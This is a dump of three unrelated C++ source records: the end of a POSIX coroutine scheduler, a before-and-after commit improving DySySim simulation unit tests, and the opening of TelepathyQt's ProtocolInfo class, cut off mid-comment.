 }\n\nprivate:\n#if ABC_HOST_API_POSIX\n   ::ucontext_t m_uctx;\n   abc::max_align_t m_aiStack[ABC_ALIGNED_SIZE(SIGSTKSZ)];\n#elif ABC_HOST_API_WIN32 \/\/if ABC_HOST_API_POSIX\n   #error \"TODO: HOST_API\"\n#else \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32\n   #error \"TODO: HOST_API\"\n#endif \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32 … else\n   std::function<void ()> m_fnInnerMain;\n};\n\n\ncoroutine::coroutine() {\n}\n\/*explicit*\/ coroutine::coroutine(std::function<void ()> fnMain) :\n   m_pctx(std::make_shared<coroutine::context>(std::move(fnMain))) {\n}\n\ncoroutine::~coroutine() {\n}\n\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::coroutine_scheduler\n\nnamespace abc {\n\n#if ABC_HOST_API_POSIX\n\nclass coroutine_scheduler_impl : public coroutine_scheduler {\npublic:\n   \/\/! Constructor.\n   coroutine_scheduler_impl() :\n#if ABC_HOST_API_BSD\n      m_fdKqueue(::kqueue()) {\n      if (!m_fdKqueue) {\n         exception::throw_os_error();\n      }\n      \/\/ TODO: set close-on-exec. ::kqueue1() may be available on some systems; investigate that.\n#elif ABC_HOST_API_LINUX\n      m_fdEpoll(::epoll_create1(EPOLL_CLOEXEC)) {\n      if (!m_fdEpoll) {\n         exception::throw_os_error();\n      }\n#else\n   #error \"TODO: HOST_API\"\n#endif\n   }\n\n   \/\/! Destructor.\n   virtual ~coroutine_scheduler_impl() {\n      \/\/ TODO: verify that m_listStartingCoros and m_mapBlockedCoros are empty.\n   }\n\n   \/\/! See coroutine_scheduler::run().\n   virtual void run() override {\n      while ((m_pcoroctxActive = find_coroutine_to_activate())) {\n         if (::swapcontext(&m_uctxReturn, m_pcoroctxActive->ucontext_ptr()) < 0) {\n            \/* TODO: in case of errors, which should never happen here since all coroutines have the\n            same stack size, inject a stack overflow exception in *m_pcoroctxActive. *\/\n         }\n      }\n      \/\/ Release the last coroutine.\n      m_pcoroctxActive.reset();\n   }\n\n   \/\/! See coroutine_scheduler::yield_while_async_pending().\n   virtual void yield_while_async_pending(io::filedesc const & fd, bool bWrite) override {\n      \/\/ Add fd as a new event source.\n#if ABC_HOST_API_BSD\n      struct ::kevent ke;\n      ke.ident = static_cast<std::uintptr_t>(fd.get());\n      \/\/ Use EV_ONESHOT to avoid waking up multiple threads for the same fd becoming ready.\n      ke.flags = EV_ADD | EV_ONESHOT | EV_EOF ;\n      ke.filter = bWrite ? EVFILT_WRITE : EVFILT_READ;\n      if (::kevent(m_fdKqueue.get(), &ke, 1, nullptr, 0, nullptr) < 0) {\n         exception::throw_os_error();\n      }\n#elif ABC_HOST_API_LINUX\n      ::epoll_event ee;\n      ee.data.fd = fd.get();\n      \/* Use EPOLLONESHOT to avoid waking up multiple threads for the same fd becoming ready. This\n      means we’d need to then rearm it in find_coroutine_to_activate() when it becomes ready, but\n      we’ll remove it instead. *\/\n      ee.events = EPOLLONESHOT | EPOLLPRI | (bWrite ? EPOLLOUT : EPOLLIN);\n      if (::epoll_ctl(m_fdEpoll.get(), EPOLL_CTL_ADD, fd.get(), &ee) < 0) {\n         exception::throw_os_error();\n      }\n#else\n   #error \"TODO: HOST_API\"\n#endif\n      \/\/ Deactivate the current coroutine and find one to activate instead.\n      coroutine::context * pcoroctxActive = m_pcoroctxActive.get();\n      auto itBlockedCoro(\n         m_mapBlockedCoros.add_or_assign(fd.get(), std::move(m_pcoroctxActive)).first\n      );\n      try {\n         m_pcoroctxActive = find_coroutine_to_activate();\n      } catch (...) {\n         \/\/ If anything went wrong, restore the coroutine that was active.\n         m_pcoroctxActive = m_mapBlockedCoros.extract(itBlockedCoro);\n         throw;\n      }\n      \/* If the context changed, i.e. the coroutine that’s ready to run is not the one that was\n      active, switch to it. *\/\n      if (m_pcoroctxActive.get() != pcoroctxActive) {\n         if (::swapcontext(pcoroctxActive->ucontext_ptr(), m_pcoroctxActive->ucontext_ptr()) < 0) {\n            \/* TODO: in case of errors, which should never happen here since all coroutines have the\n            same stack size, inject a stack overflow exception in *m_pcoroctxActive. *\/\n         }\n      }\n   }\n\nprivate:\n   std::shared_ptr<coroutine::context> find_coroutine_to_activate() {\n      \/\/ This loop will only repeat in case of EINTR from the blocking-wait API.\n      for (;;) {\n         if (m_listStartingCoros) {\n            \/\/ There are coroutines that haven’t had a chance to run; remove and schedule the first.\n            auto pcoroctx(m_listStartingCoros.pop_front());\n            \/* TODO: verify how this behaves in a multithreaded scenario: which thread should this\n            coroutine return to? *\/\n            pcoroctx->reset(&m_uctxReturn);\n            return std::move(pcoroctx);\n         } else if (m_mapBlockedCoros) {\n            \/\/ There are blocked coroutines; wait for the first one to become ready again.\n#if ABC_HOST_API_BSD\n            struct ::kevent ke;\n            if (::kevent(m_fdKqueue.get(), nullptr, 0, &ke, 1, nullptr) < 0) {\n#elif ABC_HOST_API_LINUX\n            ::epoll_event ee;\n            if (::epoll_wait(m_fdEpoll.get(), &ee, 1, -1) < 0) {\n#else\n   #error \"TODO: HOST_API\"\n#endif\n               int iErr = errno;\n               if (iErr == EINTR) {\n                  continue;\n               }\n               exception::throw_os_error(iErr);\n            }\n            io::filedesc_t fd;\n#if ABC_HOST_API_BSD\n            fd = static_cast<int>(ke.ident);\n#elif ABC_HOST_API_LINUX\n            fd = ee.data.fd;\n            \/\/ Remove fd from the epoll. Ignore errors since we wouldn’t know what to do aobut them.\n            ::epoll_ctl(m_fdEpoll.get(), EPOLL_CTL_DEL, fd, nullptr);\n#endif\n            \/\/ Remove from m_mapBlockedCoros and return the coroutine that was waiting for fd.\n            return m_mapBlockedCoros.extract(fd);\n         } else {\n            return nullptr;\n         }\n      }\n   }\n\nprivate:\n#if ABC_HOST_API_BSD\n   \/\/! File descriptor of the internal kqueue.\n   io::filedesc m_fdKqueue;\n#elif ABC_HOST_API_LINUX\n   \/\/! File descriptor of the internal epoll.\n   io::filedesc m_fdEpoll;\n#else\n   #error \"TODO: HOST_API\"\n#endif\n   \/\/! Coroutines that are blocked on a fd wait.\n   collections::map<io::filedesc_t, std::shared_ptr<coroutine::context>> m_mapBlockedCoros;\n   \/\/! Coroutine context that every coroutine eventually returns to.\n   ::ucontext_t m_uctxReturn;\n};\n\n#elif ABC_HOST_API_WIN32 \/\/if ABC_HOST_API_POSIX\n   #error \"TODO: HOST_API\"\n#else \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32\n   #error \"TODO: HOST_API\"\n#endif \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32 … else\n\n\nthread_local_value<std::shared_ptr<coroutine_scheduler>> coroutine_scheduler::sm_pcorosched;\n\ncoroutine_scheduler::coroutine_scheduler() :\n   m_pcoroctxActive(nullptr) {\n}\n\ncoroutine_scheduler::~coroutine_scheduler() {\n}\n\nvoid coroutine_scheduler::add_coroutine(coroutine const & coro) {\n   \/\/ Add the coroutine to those ready to start.\n   m_listStartingCoros.push_back(coro.m_pctx);\n}\n\n\/*static*\/ coroutine_scheduler & coroutine_scheduler::attach_to_current_thread(\n   std::shared_ptr<coroutine_scheduler> pcorosched \/*= nullptr*\/\n) {\n   if (sm_pcorosched.operator std::shared_ptr<coroutine_scheduler> const &()) {\n      \/\/ The current thread already has a coroutine scheduler.\n      \/\/ TODO: use a better exception class.\n      ABC_THROW(generic_error, ());\n   }\n   if (!pcorosched) {\n      pcorosched = std::make_shared<coroutine_scheduler_impl>();\n   }\n   return *(\n      sm_pcorosched = std::move(pcorosched)\n   ).operator std::shared_ptr<coroutine_scheduler> const &();\n}\n\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"DySySim.h\"\n#include \"LibInfoDySySim.h\"\n#include \"SimBlock.h\"\n\n#include <UnitTest++\/UnitTest++.h>\n\n#include <iostream>\n\nnamespace dss = dysysim;\nusing namespace std;\n\nconst double EPS{0.01};\n\nSUITE(DySySim)\n{\n   TEST(Constant)\n   {\n      cout << \"-- Constant\" << endl;\n\n      dss::SimTime::set(0.1, 0.3);\n\n      dss::Log log;\n      log.config({1, {2}, {}});\n\n      dss::Constant con;\n      double c = 3.0;\n      con.config({2, {}, {c}});\n\n      log.exe();\n      do {\n         CHECK_CLOSE(c, con.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Attenuator)\n   {\n      cout << \"-- Attenuator\" << endl;\n\n      dss::SimTime::set(1.0, 3.0);\n\n      dss::Log log;\n      log.config({1, {2, 3}, {}});\n\n      dss::Attenuator att1;\n      att1.config({2, {}, {10.0}});\n      dss::Attenuator att2;\n      att2.config({3, {}, {-10.0}});\n\n      log.exe();\n      do {\n         att1.input(1.0);\n         CHECK_CLOSE(0.1, att1.output(), EPS);\n         att2.input(1.0);\n         CHECK_CLOSE(-0.1, att2.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Gain)\n   {\n      cout << \"-- Gain\" << endl;\n\n      dss::SimTime::set(1.0, 3.0);\n\n      dss::Gain gain1;\n      gain1.config({2, {}, {10.0}});\n      dss::Gain gain2;\n      gain2.config({3, {}, {-5}});\n\n      dss::Log log;\n      log.config({1, {2, 3}, {}});\n\n      log.exe();\n      do {\n         gain1.input(1.0);\n         CHECK_CLOSE(10.0, gain1.output(), EPS);\n         gain2.input(-1.0);\n         CHECK_CLOSE(5, gain2.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Limit)\n   {\n      cout << \"-- Limit\" << endl;\n\n      dss::SimTime::set(1.0, 3.0);\n\n      dss::Limit limit;\n      limit.config({1, {}, {-10.0, 20.0}});\n\n      do {\n         limit.input(0.0);\n         CHECK_CLOSE(0.0, limit.output(), EPS);\n         limit.input(-12.0);\n         CHECK_CLOSE(-10.0, limit.output(), EPS);\n         limit.input(22.0);\n         CHECK_CLOSE(20.0, limit.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(OnOff)\n   {\n      cout << \"-- OnOff\" << endl;\n\n      dss::SimBlock::clearSimBlocks();\n\n      dss::OnOff onoff;\n      double off = -2.0;\n      double on = 2.0;\n      double on_off = 1.0;\n      \/\/ OnOff has no input from other block (use id 0).\n      onoff.config({1, {0}, {off, on, on_off}});\n\n      onoff.input(-1.0);\n      CHECK_CLOSE(off, onoff.output(), EPS);\n      onoff.input(0.0);\n      CHECK_CLOSE(off, onoff.output(), EPS);\n      onoff.input(1.5);\n      CHECK_CLOSE(on, onoff.output(), EPS);\n      onoff.input(10.0);\n      CHECK_CLOSE(on, onoff.output(), EPS);\n   }\n\n   TEST(Time)\n   {\n      cout << \"-- Time\" << endl;\n\n      const double delta_t{0.1};\n\n      dss::SimTime::set(delta_t, 3.0);\n\n      dss::Time time;\n      time.config({1, {}, {}});\n\n      std::vector<int> exeSequence{{1}};\n      dss::SimBlock::setExeSequence(exeSequence);\n\n      do {\n         CHECK_CLOSE(dss::SimTime::t, time.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Step)\n   {\n      const double delta_t{0.1};\n\n      dss::SimTime::set(delta_t, 10 * delta_t);\n\n      cout << \"-- Step\" << endl;\n\n      dss::Step step;\n      double off = -22.0;\n      double on = 11.0;\n      double t_on = 4 * delta_t;\n      step.config({1, {}, {off, on, t_on}});\n\n      do {\n         if (dss::SimTime::t < 4 * delta_t) {\n            CHECK_CLOSE(off, step.output(), EPS);\n         } else {\n            CHECK_CLOSE(on, step.output(), EPS);\n         }\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Puls)\n   {\n      const double delta_t{0.1};\n\n      dss::SimTime::set(delta_t, 10 * delta_t);\n\n      cout << \"-- Puls\" << endl;\n\n      dss::Puls puls;\n      double off = 0.0;\n      double on = 1.0;\n      double t_on = 5 * delta_t;\n      double t_off = 10 * delta_t;\n      puls.config({2, {}, {off, on, t_on, t_off}});\n\n      dss::Log log;\n      log.config({3, {2}, {}});\n\n      log.exe();\n      while (dss::SimTime::t < t_on) {\n         CHECK_CLOSE(off, puls.output(), EPS);\n         dysysim::SimBlock::exeSimBlocks();\n      }\n\n      while (dss::SimTime::t >= t_on and dss::SimTime::t < t_off) {\n         CHECK_CLOSE(on, puls.output(), EPS);\n         dysysim::SimBlock::exeSimBlocks();\n      }\n\n      while (dss::SimTime::t >= t_off + (5 * delta_t)) {\n         CHECK_CLOSE(off, puls.output(), EPS);\n         dysysim::SimBlock::exeSimBlocks();\n      }\n   }\n\n   TEST(Delay)\n   {\n      const double delta_t{0.1};\n      const double delayTime{3 * delta_t};\n\n      dss::SimTime::set(delta_t, 10 * delta_t);\n\n      cout << \"-- Delay\" << endl;\n\n      dss::Log log;\n      log.config({1, {2, 3}, {}});\n\n      double t_on = 2 * delta_t;\n      dss::Step step;\n      step.config({2, {}, {0.0, 1.0, t_on}});\n\n      dss::Delay delay;\n      delay.config({3, {}, {0.0, delayTime}});\n\n      CHECK_CLOSE(0.0, delay.output(), EPS);\n\n      log.exe();\n      do {\n         auto input = step.output();\n         delay.input(input);\n         if (dss::SimTime::t < t_on + delayTime) {\n            CHECK_CLOSE(0.0, delay.output(), EPS);\n         } else {\n            CHECK_CLOSE(1.0, delay.output(), EPS);\n         }\n      } while (dss::SimTime::simulation_on());\n   }\n\n   \/\/ TEST(FirstOrder)\n   \/\/ {\n   \/\/    const double delta_t{0.005};\n   \/\/    const double tau{100 * delta_t};\n   \/\/    const double stp{1.0};\n   \/\/    const double stp_t{5 * delta_t};\n\n   \/\/    dss::Time time;\n   \/\/    time.config({1, {}, {delta_t}});\n\n   \/\/    auto fio_response = [tau, stp_t, stp](double t) {\n   \/\/       return (t < stp_t) ? 0.0 : (stp * (1 - exp(-(t - stp_t) \/ tau)));\n   \/\/    };\n\n   \/\/    cout << \"-- FirstOrder\" << endl;\n\n   \/\/    dss::Step step;\n   \/\/    step.config({2, {}, {0.0, stp, stp_t}});\n\n   \/\/    dss::FirstOrder fio;\n   \/\/    fio.config({3, {}, {tau, 0.0}});\n\n   \/\/    while (time.output() < stp_t + 10 * tau) {\n   \/\/       auto input = step.output();\n   \/\/       fio.input(input);\n   \/\/       auto out1 = fio.output();\n   \/\/       auto out2 = fio_response(time.output());\n   \/\/       \/\/ std::cout << out1 << \" == \" << out2 << std::endl;\n\n   \/\/       CHECK_CLOSE(out1, out2, EPS);\n\n   \/\/       time.exe();\n   \/\/       step.exe();\n   \/\/    }\n   \/\/ }\n\n   \/\/    TEST(RC_FirstOrder)\n   \/\/    {\n   \/\/       const double delta_t{0.005};\n   \/\/       const double tau{100 * delta_t};\n   \/\/       const double stp{1.0};\n   \/\/       const double stp_t{5 * delta_t};\n\n   \/\/       cout << \"-- compare RC filter and FirstOrder\" << endl;\n\n   \/\/       dss::Time time;\n   \/\/       time.config({0, {}, {delta_t}});\n\n   \/\/       dss::Step step;\n   \/\/       step.config({1, {}, {0.0, stp, stp_t}});\n\n   \/\/       dss::Attenuator att;\n   \/\/       att.config({2, {}, {tau}});\n\n   \/\/       dss::Integrator intgt;\n   \/\/       intgt.config({3, {}, {0.0}});\n\n   \/\/       dss::FirstOrder fio;\n   \/\/       fio.config({4, {}, {tau, 0.0}});\n\n   \/\/       while (time.output() < stp_t + 10 * tau) {\n   \/\/          auto input = step.output();\n\n   \/\/          att.input(input);\n   \/\/          att.input(step.output() - intgt.output());\n   \/\/          intgt.input(att.output());\n\n   \/\/          fio.input(input);\n\n   \/\/          auto out1 = intgt.output();\n   \/\/          auto out2 = fio.output();\n   \/\/          \/\/ std::cout << out1 << \" == \" << out2 << std::endl;\n\n   \/\/          CHECK_CLOSE(out1, out2, EPS);\n\n   \/\/          time.exe();\n   \/\/          step.exe();\n   \/\/       }\n   \/\/    }\n}\n\nint main()\n{\n   cout << \"\\n== Tests DySySim lib: \" << dss::libVersion << \" \"\n        << string(50, '=') << \"\\n\\n\";\n\n   auto result = UnitTest::RunAllTests();\n\n   cout << \"\\n\" << string(80, '=') << endl;\n\n   return result;\n}\n<commit_msg>Improve test code<commit_after>#include \"DySySim.h\"\n#include \"LibInfoDySySim.h\"\n#include \"SimBlock.h\"\n\n#include <UnitTest++\/UnitTest++.h>\n\n#include <iostream>\n\nnamespace dss = dysysim;\nusing namespace std;\n\nconst double EPS{0.01};\n\nSUITE(DySySim)\n{\n   TEST(Constant)\n   {\n      cout << \"-- Constant\" << endl;\n\n      dss::SimTime::set(0.1, 0.3);\n\n      dss::Log log;\n      log.config({1, {2}, {}});\n\n      dss::Constant con;\n      double c = 3.0;\n      con.config({2, {}, {c}});\n\n      log.exe();\n      do {\n         CHECK_CLOSE(c, con.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Attenuator)\n   {\n      cout << \"-- Attenuator\" << endl;\n\n      dss::SimTime::set(1.0, 3.0);\n\n      dss::Log log;\n      log.config({1, {2, 3}, {}});\n\n      dss::Attenuator att1;\n      att1.config({2, {}, {10.0}});\n      dss::Attenuator att2;\n      att2.config({3, {}, {-10.0}});\n\n      log.exe();\n      do {\n         att1.input(1.0);\n         CHECK_CLOSE(0.1, att1.output(), EPS);\n         att2.input(1.0);\n         CHECK_CLOSE(-0.1, att2.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Gain)\n   {\n      cout << \"-- Gain\" << endl;\n\n      dss::SimTime::set(1.0, 3.0);\n\n      dss::Gain gain1;\n      gain1.config({2, {}, {10.0}});\n      dss::Gain gain2;\n      gain2.config({3, {}, {-5}});\n\n      dss::Log log;\n      log.config({1, {2, 3}, {}});\n\n      log.exe();\n      do {\n         gain1.input(1.0);\n         CHECK_CLOSE(10.0, gain1.output(), EPS);\n         gain2.input(-1.0);\n         CHECK_CLOSE(5, gain2.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Limit)\n   {\n      cout << \"-- Limit\" << endl;\n\n      dss::SimTime::set(1.0, 3.0);\n\n      dss::Limit limit;\n      limit.config({1, {}, {-10.0, 20.0}});\n\n      do {\n         limit.input(0.0);\n         CHECK_CLOSE(0.0, limit.output(), EPS);\n         limit.input(-12.0);\n         CHECK_CLOSE(-10.0, limit.output(), EPS);\n         limit.input(22.0);\n         CHECK_CLOSE(20.0, limit.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(OnOff)\n   {\n      cout << \"-- OnOff\" << endl;\n\n      dss::SimBlock::clearSimBlocks();\n\n      dss::OnOff onoff;\n      double off = -2.0;\n      double on = 2.0;\n      double on_off = 1.0;\n      \/\/ OnOff has no input from other block (use id 0).\n      onoff.config({1, {0}, {off, on, on_off}});\n\n      onoff.input(-1.0);\n      CHECK_CLOSE(off, onoff.output(), EPS);\n      onoff.input(0.0);\n      CHECK_CLOSE(off, onoff.output(), EPS);\n      onoff.input(1.5);\n      CHECK_CLOSE(on, onoff.output(), EPS);\n      onoff.input(10.0);\n      CHECK_CLOSE(on, onoff.output(), EPS);\n   }\n\n   TEST(Time)\n   {\n      cout << \"-- Time\" << endl;\n\n      const double delta_t{0.1};\n\n      dss::SimTime::set(delta_t, 3.0);\n\n      dss::Time time;\n      time.config({1, {}, {}});\n\n      std::vector<int> exeSequence{{1}};\n      dss::SimBlock::setExeSequence(exeSequence);\n\n      do {\n         CHECK_CLOSE(dss::SimTime::t, time.output(), EPS);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Step)\n   {\n      const double delta_t{0.1};\n\n      dss::SimTime::set(delta_t, 10 * delta_t);\n\n      cout << \"-- Step\" << endl;\n\n      dss::Step step;\n      double off = -22.0;\n      double on = 11.0;\n      double t_on = 4 * delta_t;\n      step.config({1, {}, {off, on, t_on}});\n\n      std::vector<int> exeSequence{{1}};\n      dss::SimBlock::setExeSequence(exeSequence);\n\n      do {\n         if (dss::SimTime::t < 4 * delta_t) {\n            CHECK_CLOSE(off, step.output(), EPS);\n         } else {\n            CHECK_CLOSE(on, step.output(), EPS);\n         }\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Puls)\n   {\n      const double delta_t{0.1};\n\n      dss::SimTime::set(delta_t, 10 * delta_t);\n\n      cout << \"-- Puls\" << endl;\n\n      dss::Puls puls;\n      double off = 0.0;\n      double on = 1.0;\n      double t_on = 5 * delta_t;\n      double t_off = 10 * delta_t;\n      puls.config({1, {}, {off, on, t_on, t_off}});\n\n      dss::Log log;\n      log.config({2, {1}, {}});\n\n      std::vector<int> exeSequence{{1, 2}};\n      dss::SimBlock::setExeSequence(exeSequence);\n\n      CHECK_CLOSE(0.0, puls.output(), EPS);\n      log.exe();\n      do {\n         if (dss::SimTime::t < t_on) {\n            CHECK_CLOSE(off, puls.output(), EPS);\n         }\n         if (dss::SimTime::t >= t_on and dss::SimTime::t < t_off) {\n            CHECK_CLOSE(on, puls.output(), EPS);\n         }\n         if (dss::SimTime::t >= t_off + (5 * delta_t)) {\n            CHECK_CLOSE(off, puls.output(), EPS);\n         }\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(Delay)\n   {\n      const double delta_t{0.1};\n      const double delayTime{3 * delta_t};\n\n      dss::SimTime::set(delta_t, 10 * delta_t);\n\n      cout << \"-- Delay\" << endl;\n\n      dss::Log log;\n      log.config({1, {2, 3}, {}});\n\n      double t_on = 2 * delta_t;\n      dss::Step step;\n      step.config({2, {}, {0.0, 1.0, t_on}});\n\n      dss::Delay delay;\n      delay.config({3, {}, {0.0, delayTime}});\n\n      std::vector<int> exeSequence{{1, 2, 3}};\n      dss::SimBlock::setExeSequence(exeSequence);\n\n      CHECK_CLOSE(0.0, delay.output(), EPS);\n      log.exe();\n      do {\n         auto input = step.output();\n         delay.input(input);\n         if (dss::SimTime::t < t_on + delayTime) {\n            CHECK_CLOSE(0.0, delay.output(), EPS);\n         } else {\n            CHECK_CLOSE(1.0, delay.output(), EPS);\n         }\n      } while (dss::SimTime::simulation_on());\n   }\n\n   TEST(FirstOrder)\n   {\n      const double delta_t{0.01};\n      const double tau{10 * delta_t};\n      const double stp{1.0};\n      const double stp_t{5 * delta_t};\n\n      dss::SimTime::set(delta_t, 6 * tau);\n\n      auto fio_response = [tau, stp_t, stp](double t) {\n         return (t < stp_t) ? 0.0 : (stp * (1 - exp(-(t - stp_t) \/ tau)));\n      };\n\n      cout << \"-- FirstOrder\" << endl;\n\n      dss::Step step;\n      step.config({1, {}, {0.0, stp, stp_t}});\n\n      dss::FirstOrder fio;\n      fio.config({2, {1}, {tau, 0.0}});\n\n      dss::Log log;\n      log.config({3, {1, 2}, {}});\n\n      std::vector<int> exeSequence{{1, 2, 3}};\n      dss::SimBlock::setExeSequence(exeSequence);\n\n      CHECK_CLOSE(0.0, fio.output(), EPS);\n      log.exe();\n      do {\n         auto input = step.output();\n         fio.input(input);\n         auto out1 = fio.output();\n         auto out2 = fio_response(dss::SimTime::t);\n         CHECK_CLOSE(out1, out2, EPS*8);\n      } while (dss::SimTime::simulation_on());\n   }\n\n   \/\/    TEST(RC_FirstOrder)\n   \/\/    {\n   \/\/       const double delta_t{0.005};\n   \/\/       const double tau{100 * delta_t};\n   \/\/       const double stp{1.0};\n   \/\/       const double stp_t{5 * delta_t};\n\n   \/\/       cout << \"-- compare RC filter and FirstOrder\" << endl;\n\n   \/\/       dss::Time time;\n   \/\/       time.config({0, {}, {delta_t}});\n\n   \/\/       dss::Step step;\n   \/\/       step.config({1, {}, {0.0, stp, stp_t}});\n\n   \/\/       dss::Attenuator att;\n   \/\/       att.config({2, {}, {tau}});\n\n   \/\/       dss::Integrator intgt;\n   \/\/       intgt.config({3, {}, {0.0}});\n\n   \/\/       dss::FirstOrder fio;\n   \/\/       fio.config({4, {}, {tau, 0.0}});\n\n   \/\/       while (time.output() < stp_t + 10 * tau) {\n   \/\/          auto input = step.output();\n\n   \/\/          att.input(input);\n   \/\/          att.input(step.output() - intgt.output());\n   \/\/          intgt.input(att.output());\n\n   \/\/          fio.input(input);\n\n   \/\/          auto out1 = intgt.output();\n   \/\/          auto out2 = fio.output();\n   \/\/          \/\/ std::cout << out1 << \" == \" << out2 << std::endl;\n\n   \/\/          CHECK_CLOSE(out1, out2, EPS);\n\n   \/\/          time.exe();\n   \/\/          step.exe();\n   \/\/       }\n   \/\/    }\n}\n\nint main()\n{\n   cout << \"\\n== Tests DySySim lib: \" << dss::libVersion << \" \"\n        << string(50, '=') << \"\\n\\n\";\n\n   auto result = UnitTest::RunAllTests();\n\n   cout << \"\\n\" << string(80, '=') << endl;\n\n   return result;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of TelepathyQt\n *\n * @copyright Copyright (C) 2010 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n * @copyright Copyright (C) 2010 Nokia Corporation\n * @license LGPL 2.1\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include <TelepathyQt\/ProtocolInfo>\n\n#include <TelepathyQt\/ConnectionCapabilities>\n#include <TelepathyQt\/ConnectionManager>\n#include <TelepathyQt\/PendingFailure>\n#include <TelepathyQt\/PendingString>\n\nnamespace Tp\n{\n\nstruct TP_QT_NO_EXPORT ProtocolInfo::Private : public QSharedData\n{\n    Private()\n        : addressingIface(0)\n    {\n    }\n\n    Private(const ConnectionManagerPtr &cm, const QString &name)\n        : cm(cm),\n          name(name),\n          iconName(QString(QLatin1String(\"im-%1\")).arg(name)),\n          addressingIface(0)\n    {\n    }\n\n    ~Private()\n    {\n        delete addressingIface;\n    }\n\n    Client::ProtocolInterfaceAddressingInterface *addressingInterface()\n    {\n        if (!addressingIface) {\n            ConnectionManagerPtr connectionManager(cm);\n            QString escapedProtocolName = name;\n            escapedProtocolName.replace(QLatin1Char('-'), QLatin1Char('_'));\n            QString protocolPath = QString(\n                    QLatin1String(\"%1\/%2\"))\n                        .arg(connectionManager->objectPath())\n                        .arg(escapedProtocolName);\n            addressingIface = new Client::ProtocolInterfaceAddressingInterface(\n                connectionManager->dbusConnection(),\n                connectionManager->busName(), protocolPath);\n        }\n\n        return addressingIface;\n    }\n\n    WeakPtr<ConnectionManager> cm;\n    QString name;\n    ProtocolParameterList params;\n    ConnectionCapabilities caps;\n    QString vcardField;\n    QString englishName;\n    QString iconName;\n    PresenceSpecList statuses;\n    AvatarSpec avatarRequirements;\n    QStringList addressableVCardFields;\n    QStringList addressableUriSchemes;\n\n    Client::ProtocolInterfaceAddressingInterface *addressingIface;\n};\n\n\/**\n * \\class ProtocolInfo\n * \\ingroup clientcm\n * \\headerfile TelepathyQt\/protocol-info.h <TelepathyQt\/ProtocolInfo>\n *\n * \\brief The ProtocolInfo class represents a <a\n * href=\"http:\/\/telepathy.freedesktop.org\/spec\/Protocol.html\">Telepathy Protocol<\/a>.\n *\/\n\nProtocolInfo::ProtocolInfo()\n{\n}\n\n\/**\n * Construct a new ProtocolInfo object.\n *\n * \\param cm Connection manager owning this ProtocolInfo.\n * \\param name Protocol name.\n *\/\nProtocolInfo::ProtocolInfo(const ConnectionManagerPtr &cm, const QString &name)\n    : mPriv(new Private(cm, name))\n{\n}\n\nProtocolInfo::ProtocolInfo(const ProtocolInfo &other)\n    : mPriv(other.mPriv)\n{\n}\n\n\/**\n * Class destructor.\n *\/\nProtocolInfo::~ProtocolInfo()\n{\n}\n\nbool ProtocolInfo::isValid() const\n{\n    return ((mPriv.constData() != 0) && !(connectionManager().isNull()));\n}\n\nConnectionManagerPtr ProtocolInfo::connectionManager() const\n{\n    return (mPriv.constData() != 0 ? ConnectionManagerPtr(mPriv->cm) : ConnectionManagerPtr());\n}\n\nProtocolInfo &ProtocolInfo::operator=(const ProtocolInfo &other)\n{\n    this->mPriv = other.mPriv;\n    return *this;\n}\n\n\/**\n * Return the short name of the connection manager (e.g. \"gabble\") for this protocol.\n *\n * \\return The name of the connection manager for this protocol.\n *\/\nQString ProtocolInfo::cmName() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return connectionManager()->name();\n}\n\n\/**\n * Return the string identifying this protocol as described in the \\telepathy_spec\n * (e.g. \"jabber\").\n *\n * This identifier is not intended to be displayed to users directly; user\n * interfaces are responsible for mapping them to localized strings.\n *\n * \\return A string identifying this protocol.\n *\/\nQString ProtocolInfo::name() const\n{\n    if (!isValid()) {\n        return QString();\n    }\n\n    return mPriv->name;\n}\n\n\/**\n * Return all supported parameters for this protocol. The parameters' names\n * may either be the well-known strings specified by the \\telepathy_spec\n 